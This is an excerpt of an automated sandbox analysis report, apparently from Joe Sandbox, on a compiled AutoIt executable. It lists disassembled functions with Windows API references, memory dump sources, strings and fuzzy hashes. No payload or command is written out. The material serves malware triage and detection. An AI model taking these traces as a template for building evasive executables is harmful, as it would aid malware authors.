                                                                                      • LoadCursorW.USER32(00000000,00007F85), ref: 005F7A34
                                                                                      • LoadCursorW.USER32(00000000,00007F82), ref: 005F7A3F
                                                                                      • LoadCursorW.USER32(00000000,00007F84), ref: 005F7A4A
                                                                                      • LoadCursorW.USER32(00000000,00007F04), ref: 005F7A55
                                                                                      • LoadCursorW.USER32(00000000,00007F02), ref: 005F7A60
                                                                                      • LoadCursorW.USER32(00000000,00007F89), ref: 005F7A6B
                                                                                      • GetCursorInfo.USER32(?), ref: 005F7A7B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Cursor$Load$Info
                                                                                      • String ID:
                                                                                      • API String ID: 2577412497-0
                                                                                      • Opcode ID: 861c22be4b5062e984b70a25440aa600d72d1f1c6ccf1073442a2484e62c4e26
                                                                                      • Instruction ID: ea7a8771798745db57bc11164ed31d8b90165e0064d474d42708c4eecc7d24c2
                                                                                      • Opcode Fuzzy Hash: 861c22be4b5062e984b70a25440aa600d72d1f1c6ccf1073442a2484e62c4e26
                                                                                      • Instruction Fuzzy Hash: C93117B0D0831E6ADB509FB68C8996FBFE8FF04750F504526A54DE7180DA7CA5018FA1
                                                                                      Function 005AC833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BE968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,005AC8B7,?,00002000,?,?,00000000,?,005A419E,?,?,?,0063DC00), ref: 005BE984
                                                                                        • Part of subcall function 005A660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005A53B1,?,?,005A61FF,?,00000000,00000001,00000000), ref: 005A662F
                                                                                      • __wsplitpath.LIBCMT ref: 005AC93E
                                                                                        • Part of subcall function 005C1DFC: __wsplitpath_helper.LIBCMT ref: 005C1E3C
                                                                                      • _wcscpy.LIBCMT ref: 005AC953
                                                                                      • _wcscat.LIBCMT ref: 005AC968
                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 005AC978
                                                                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 005ACABE
                                                                                        • Part of subcall function 005AB337: _wcscpy.LIBCMT ref: 005AB36F
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
                                                                                      • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                                      • API String ID: 2258743419-1018226102
                                                                                      • Opcode ID: e6b09d5df7c41af8668337c2352219660f7b6e1403540bc2ddaf2e5365d4f21c
                                                                                      • Instruction ID: e01fcbeaa73d67564a87c7e75a6408a241e0c1ddd66ac00eeb8957615a85d66e
                                                                                      • Opcode Fuzzy Hash: e6b09d5df7c41af8668337c2352219660f7b6e1403540bc2ddaf2e5365d4f21c
                                                                                      • Instruction Fuzzy Hash: A8126A715083429FC724EF64C885AAEBFE5BFDA300F44491EF58A97251DB30DA49CB52
                                                                                      Function 0060CE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 0060CEFB
                                                                                      • DestroyWindow.USER32(?,?), ref: 0060CF73
                                                                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0060CFF4
                                                                                      • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0060D016
                                                                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0060D025
                                                                                      • DestroyWindow.USER32(?), ref: 0060D042
                                                                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,005A0000,00000000), ref: 0060D075
                                                                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0060D094
                                                                                      • GetDesktopWindow.USER32 ref: 0060D0A9
                                                                                      • GetWindowRect.USER32(00000000), ref: 0060D0B0
                                                                                      • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0060D0C2
                                                                                      • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0060D0DA
                                                                                        • Part of subcall function 005BB526: GetWindowLongW.USER32(?,000000EB), ref: 005BB537
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
                                                                                      • String ID: 0$tooltips_class32
                                                                                      • API String ID: 3877571568-3619404913
                                                                                      • Opcode ID: dc4a97e9a637fa061597e82c92b218efedf8e3d3425647530e5e444081d035dd
                                                                                      • Instruction ID: 61991ed54e67dea216721caa1bbc40b8d5cac38cdab734f329b013eee9b424bb
                                                                                      • Opcode Fuzzy Hash: dc4a97e9a637fa061597e82c92b218efedf8e3d3425647530e5e444081d035dd
                                                                                      • Instruction Fuzzy Hash: 0B719E74180305AFD724CF68CC85FA77BE6EB89704F18461DF98A8B2A1D771E942DB12
                                                                                      Function 0060F351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • DragQueryPoint.SHELL32(?,?), ref: 0060F37A
                                                                                        • Part of subcall function 0060D7DE: ClientToScreen.USER32(?,?), ref: 0060D807
                                                                                        • Part of subcall function 0060D7DE: GetWindowRect.USER32(?,?), ref: 0060D87D
                                                                                        • Part of subcall function 0060D7DE: PtInRect.USER32(?,?,0060ED5A), ref: 0060D88D
                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 0060F3E3
                                                                                      • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0060F3EE
                                                                                      • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0060F411
                                                                                      • _wcscat.LIBCMT ref: 0060F441
                                                                                      • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0060F458
                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 0060F471
                                                                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 0060F488
                                                                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 0060F4AA
                                                                                      • DragFinish.SHELL32(?), ref: 0060F4B1
                                                                                      • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0060F59C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                                                      • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                      • API String ID: 169749273-3440237614
                                                                                      • Opcode ID: 66a74f5d453f1b17f38c5dd60aa9c50074dbae2868e1a5995f6b8a9ac3bd45b7
                                                                                      • Instruction ID: ca64f25d71dd921ef4d7871307fd29e69fb4dc695e5cb830d0b1cb87eca393f8
                                                                                      • Opcode Fuzzy Hash: 66a74f5d453f1b17f38c5dd60aa9c50074dbae2868e1a5995f6b8a9ac3bd45b7
                                                                                      • Instruction Fuzzy Hash: 98613871108301AFD315EF64CC89E9FBBF9FB89710F000A1EF595961A1DB70AA09CB62
                                                                                      Function 005EAAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • VariantInit.OLEAUT32(00000000), ref: 005EAB3D
                                                                                      • VariantCopy.OLEAUT32(?,?), ref: 005EAB46
                                                                                      • VariantClear.OLEAUT32(?), ref: 005EAB52
                                                                                      • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 005EAC40
                                                                                      • __swprintf.LIBCMT ref: 005EAC70
                                                                                      • VarR8FromDec.OLEAUT32(?,?), ref: 005EAC9C
                                                                                      • VariantInit.OLEAUT32(?), ref: 005EAD4D
                                                                                      • SysFreeString.OLEAUT32(00000016), ref: 005EADDF
                                                                                      • VariantClear.OLEAUT32(?), ref: 005EAE35
                                                                                      • VariantClear.OLEAUT32(?), ref: 005EAE44
                                                                                      • VariantInit.OLEAUT32(00000000), ref: 005EAE80
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                                                                      • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                                                      • API String ID: 3730832054-3931177956
                                                                                      • Opcode ID: 0b40b406a182d7c15a2b52c71cc1ece2be6e82ad3b98a1a64ab3f835dc501904
                                                                                      • Instruction ID: 9b5b703eb68d2abc63ddecedeb3f1c838edb4bc92e5be5be9934e0574ca8427d
                                                                                      • Opcode Fuzzy Hash: 0b40b406a182d7c15a2b52c71cc1ece2be6e82ad3b98a1a64ab3f835dc501904
                                                                                      • Instruction Fuzzy Hash: 86D1F471600556DBCB289F76D889BAEBFBAFF84700F148855E4859B181DB70FC40DBA2
                                                                                      Function 0060716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharUpperBuffW.USER32(?,?), ref: 006071FC
                                                                                      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00607247
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharMessageSendUpper
                                                                                      • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                                      • API String ID: 3974292440-4258414348
                                                                                      • Opcode ID: 228c44a3b61190ec9a574d730aaa70fbeab18bd34eeb3cdaaf2d72dc27f2bb4e
                                                                                      • Instruction ID: 793c15ba8659862076bf7b6ace6f01341a3c2fd8c3769ea9482e436cf4033055
                                                                                      • Opcode Fuzzy Hash: 228c44a3b61190ec9a574d730aaa70fbeab18bd34eeb3cdaaf2d72dc27f2bb4e
                                                                                      • Instruction Fuzzy Hash: 21916F706446029BCB08EF14C455AAFBFA2BF95314F044859F8965B3D2DB30FD4ADB91
                                                                                      Function 005DCB82 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 239COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • EnumChildWindows.USER32(?,005DCF50), ref: 005DCE90
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ChildEnumWindows
                                                                                      • String ID: 4+e$CLASS$CLASSNN$H+e$INSTANCE$L+e$NAME$P+e$REGEXPCLASS$T+e$TEXT
                                                                                      • API String ID: 3555792229-3828523701
                                                                                      • Opcode ID: 44fd5e3163f1fc7df03efb3f7a9263b3a4e98d01e2890caf93984c549a8dffd1
                                                                                      • Instruction ID: 4b5fc494e8f4526199cc1774ab2d90ac31b8b02988d909247177d6f770f0d393
                                                                                      • Opcode Fuzzy Hash: 44fd5e3163f1fc7df03efb3f7a9263b3a4e98d01e2890caf93984c549a8dffd1
                                                                                      • Instruction Fuzzy Hash: C491BF70600607ABCB29EFA4C486BEAFF69FF45300F54851BD849A7251DF30A999DBD0
                                                                                      Function 0060E4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0060E5AB
                                                                                      • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,0060BEAF), ref: 0060E607
                                                                                      • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0060E647
                                                                                      • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0060E68C
                                                                                      • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0060E6C3
                                                                                      • FreeLibrary.KERNEL32(?,00000004,?,?,?,?,0060BEAF), ref: 0060E6CF
                                                                                      • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0060E6DF
                                                                                      • DestroyIcon.USER32(?,?,?,?,?,0060BEAF), ref: 0060E6EE
                                                                                      • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0060E70B
                                                                                      • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0060E717
                                                                                        • Part of subcall function 005C0FA7: __wcsicmp_l.LIBCMT ref: 005C1030
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                                                      • String ID: .dll$.exe$.icl
                                                                                      • API String ID: 1212759294-1154884017
                                                                                      • Opcode ID: cfb0065d80b313ac88e10737ba79e7b99eaca39941431ad02e0f80bf3b2518f9
                                                                                      • Instruction ID: 109de4e22d3b960eec504722c1e9522cc5d4acfc0b05c9834ee053d2390fa9d9
                                                                                      • Opcode Fuzzy Hash: cfb0065d80b313ac88e10737ba79e7b99eaca39941431ad02e0f80bf3b2518f9
                                                                                      • Instruction Fuzzy Hash: 62610E71540625FAEB289F64DC46FFF7BA9BB08714F104905F911E61D0EBB6A980CBA0
                                                                                      Function 005ED219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • CharLowerBuffW.USER32(?,?), ref: 005ED292
                                                                                      • GetDriveTypeW.KERNEL32 ref: 005ED2DF
                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005ED327
                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005ED35E
                                                                                      • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005ED38C
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: SendString$BuffCharDriveLowerType__itow__swprintf
                                                                                      • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                      • API String ID: 1148790751-4113822522
                                                                                      • Opcode ID: 7341d291328abdca93417d2a8260785590d15b2e6ed6763ed6b0feaa8c74be91
                                                                                      • Instruction ID: a89578cbb3e4613db55fe3444e442150dcb44b6e7770ee380a3896d0c624bb3a
                                                                                      • Opcode Fuzzy Hash: 7341d291328abdca93417d2a8260785590d15b2e6ed6763ed6b0feaa8c74be91
                                                                                      • Instruction Fuzzy Hash: 3D514971504246AFC700EF21C88596EBBF9FF99758F00485DF88567251DB31EE0ACB92
                                                                                      Function 005E26BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00613973,00000016,0000138C,00000016,?,00000016,0063DDB4,00000000,?), ref: 005E26F1
                                                                                      • LoadStringW.USER32(00000000,?,00613973,00000016), ref: 005E26FA
                                                                                      • GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00613973,00000016,0000138C,00000016,?,00000016,0063DDB4,00000000,?,00000016), ref: 005E271C
                                                                                      • LoadStringW.USER32(00000000,?,00613973,00000016), ref: 005E271F
                                                                                      • __swprintf.LIBCMT ref: 005E276F
                                                                                      • __swprintf.LIBCMT ref: 005E2780
                                                                                      • _wprintf.LIBCMT ref: 005E2829
                                                                                      • MessageBoxW.USER32(00000000,?,?,00011010), ref: 005E2840
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HandleLoadModuleString__swprintf$Message_wprintf
                                                                                      • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                                      • API String ID: 618562835-2268648507
                                                                                      • Opcode ID: 678d2f3f5d66488200b930379d1b47b59e43941cc0f07117718b7e44c5780d3a
                                                                                      • Instruction ID: a48d3bd524202a721be78540277d4f48365fc7253519f730f77b6947d628e7e3
                                                                                      • Opcode Fuzzy Hash: 678d2f3f5d66488200b930379d1b47b59e43941cc0f07117718b7e44c5780d3a
                                                                                      • Instruction Fuzzy Hash: DD413F7280025ABACB15FBD0DD8AEEEBF7DBF96740F500065B50176092EA716F19CB60
                                                                                      Function 005ED0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 005ED0D8
                                                                                      • __swprintf.LIBCMT ref: 005ED0FA
                                                                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 005ED137
                                                                                      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 005ED15C
                                                                                      • _memset.LIBCMT ref: 005ED17B
                                                                                      • _wcsncpy.LIBCMT ref: 005ED1B7
                                                                                      • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 005ED1EC
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 005ED1F7
                                                                                      • RemoveDirectoryW.KERNEL32(?), ref: 005ED200
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 005ED20A
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                      • String ID: :$\$\??\%s
                                                                                      • API String ID: 2733774712-3457252023
                                                                                      • Opcode ID: d9d1a163a6ded00011f05aa567896c3a7044703b7e20cd0e2f097fc1f42b968a
                                                                                      • Instruction ID: 32fd21b7f8e57122beaaacafc792d4ee9f7e4189692e03d53a3f3d5722285d7a
                                                                                      • Opcode Fuzzy Hash: d9d1a163a6ded00011f05aa567896c3a7044703b7e20cd0e2f097fc1f42b968a
                                                                                      • Instruction Fuzzy Hash: 1731A0B650024AABDB20DFA1CC49FEB7BBDBF89740F1040A9F609D21A0E77096458B34
                                                                                      Function 0060E731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0060BEF4,?,?), ref: 0060E754
                                                                                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E76B
                                                                                      • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E776
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E783
                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0060E78C
                                                                                      • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E79B
                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 0060E7A4
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E7AB
                                                                                      • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0060BEF4,?,?,00000000,?), ref: 0060E7BC
                                                                                      • OleLoadPicture.OLEAUT32(?,00000000,00000000,0062D9BC,?), ref: 0060E7D5
                                                                                      • GlobalFree.KERNEL32(00000000), ref: 0060E7E5
                                                                                      • GetObjectW.GDI32(00000000,00000018,?), ref: 0060E809
                                                                                      • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0060E834
                                                                                      • DeleteObject.GDI32(00000000), ref: 0060E85C
                                                                                      • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0060E872
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
